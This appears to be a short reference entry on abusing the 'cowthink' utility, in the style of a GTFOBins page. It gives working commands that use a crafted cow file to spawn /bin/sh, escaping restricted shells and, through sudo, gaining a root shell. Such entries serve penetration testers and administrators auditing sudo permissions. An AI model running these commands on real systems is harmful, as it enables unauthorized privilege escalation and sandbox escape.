It allows to execute perl
code, other functions may apply.
It can be used to break out from restricted environments by spawning an interactive system shell.
TF=$(mktemp)
echo 'exec "/bin/sh";' >$TF
cowthink -f $TF x
If the binary is allowed to run as superuser by sudo
, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.
TF=$(mktemp)
echo 'exec "/bin/sh";' >$TF
sudo cowthink -f $TF x